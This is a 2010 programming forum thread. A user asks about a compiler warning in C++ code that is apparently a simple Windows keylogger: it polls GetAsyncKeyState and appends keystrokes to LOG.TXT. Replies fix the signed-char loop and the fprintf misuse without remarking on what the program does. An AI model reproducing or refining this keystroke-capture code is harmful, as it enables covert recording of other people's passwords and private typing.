473,385 Members | 1,752 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,385 software developers and data experts.

[Warning]comparison is always true due to limited range of data type, line 14

1 #include <iostream>
2 using namespace std;
3 #include <windows.h>
4 #include <winuser.h>
5
6 int save(int key_stroke, char *file);
7
8 int main()
9 {
10 char i;
11
12 while (1)
13 {
14 for(i = 8; i <= 190; i++)
15 {
16 if (GetAsyncKeyState(i) == -32767)
17 Save (i, "LOG.TXT");
18 }
19 }
20 system ("PAUSE");
21 return 0;
22 }
23 /* ************************* */
24 /* ************************* */
25 int save(int key_stroke, char *file)
26 {
27 if ( (key_stroke == 1) || (key_stroke 28 == 2) )
29 return 0;
30
31 FILE *OUTPUT_FILE;
32 OUTPUT_FILE = fopen(file, "a+");
33 fprintf(OUTPUT_FILE, "%s", &key_stroke);
34 fclose(OUTPUT_FILE);
35 cout << key_stroke << endl;
36 return 0;
37 }
Oct 13 '10 #1
3 6093
ashitpro
542 Expert 512MB
At line 10:

Why we are using 'char i'? can't we use 'int i' instead?
Oct 13 '10 #2
newb16
687 512MB
signed char is always less than 127.
Oct 13 '10 #3
Oralloy
988 Expert 512MB
Mattias,

newb16 has the right of it in your problem.

If I recall correctly, the C and C++ specifications do not specify whether the char type is signed or unsigned, thus your declaration of i at line 10 (as noted by Ashitpro) is the problem. Why is because in your compiler, the char type is quietly translated to signed char.

What you can do is to declare i as an unsigned char, or as a larger integer type, like int or long.

Secondly, line 33 may give you problems. You are taking the address of an int and using that address in fprintf as a character pointer. You might be better off using the %c output specifier, instead. Something like:
Expand|Select|Wrap|Line Numbers
  1. fprintf(OUTPUT_FILE, "%c", key_stroke);
My comment about line 33 is because it'll probably work on a little endian machine, but on a big endian machine, the high byte of key_stroke will be the first byte seen, and if the value is between 8 and 190, the hight byte will be zero, yielding a zero length string. Which is to say that line 33 falls into the category of "undefined behaviour" in the specs.

Luck!
Oct 13 '10 #4

Sign in to post your reply or Sign up for a free account.

Similar topics

21
by: Batista, Facundo | last post by:
Here I send it. Suggestions and all kinds of recomendations are more than welcomed. If it all goes ok, it'll be a PEP when I finish writing/modifying the code. Thank you. .. Facundo
2
by: Dave | last post by:
hello... I wrote a marco for saturation. #define clip(x) (char)(x)<0?0:((x)>255?255:(x)); and use this marco in the program like this... char tmp=(char)clip((unsigned_int_16)(tmp1+tmp2)); ...
14
by: Allan87 | last post by:
if (a == 'a' || a == 'e' || a == 'i' || a == 'o' || a == 'u' || a == 'w' || a == 'y' || a == 'h' || a == 'space' || a == '-'){ Basically im asking the program to do something if it comes across...
13
by: lane straatman | last post by:
I'm trying to figure out what data type is appropriate to represent a card in a game. The idea that I thought was going to work was a struct, foo, with two integer fields and two fields of char...
4
by: metalinc | last post by:
hi...im new to C programming...need help...tried to run this code but got this error fork.c: In function ‘parse’: fork.c:44: warning: comparison between pointer and integer fork.c:51: warning:...
24
by: junky_fellow | last post by:
Hi, I am using a gcc compiler for a 32 bit powerpc processor. When I look at the size of unsigned long long, it displays 8 bytes. I was wondering, how we can have a data type of 64 bits on a 32...
2
by: a1drich | last post by:
smartCryptor.cpp: In function `void Char2Hex(unsigned char, char*)': smartCryptor.cpp:188: warning: comparison is always true due to limited range of data type void Char2Hex(unsigned char...
5
by: J.Broeden | last post by:
Hi, I've written a some code to assist in my understanding of strings using some of Cs built in character handling functions but I am not sure why I'm getting the following error. I hope someone...
7
by: antoine | last post by:
Hi all! I'm a French student currently doing an internship in Beijing. I have to simulate a mips machine running with the micro kernel l4. When i compile the kernel i got some compilation errors. I...
1
by: Claire | last post by:
"Comparison to integral constant is useless; the constant is outside the range of type 'int'" How can I fix this compiler warning, please, for the following pseudocode? int m_nError; m_nError =...
0
by: taylorcarr | last post by:
A Canon printer is a smart device known for being advanced, efficient, and reliable. It is designed for home, office, and hybrid workspace use and can also be used for a variety of purposes. However,...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
0
by: emmanuelkatto | last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud. Please let me know. Thanks! Emmanuel
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.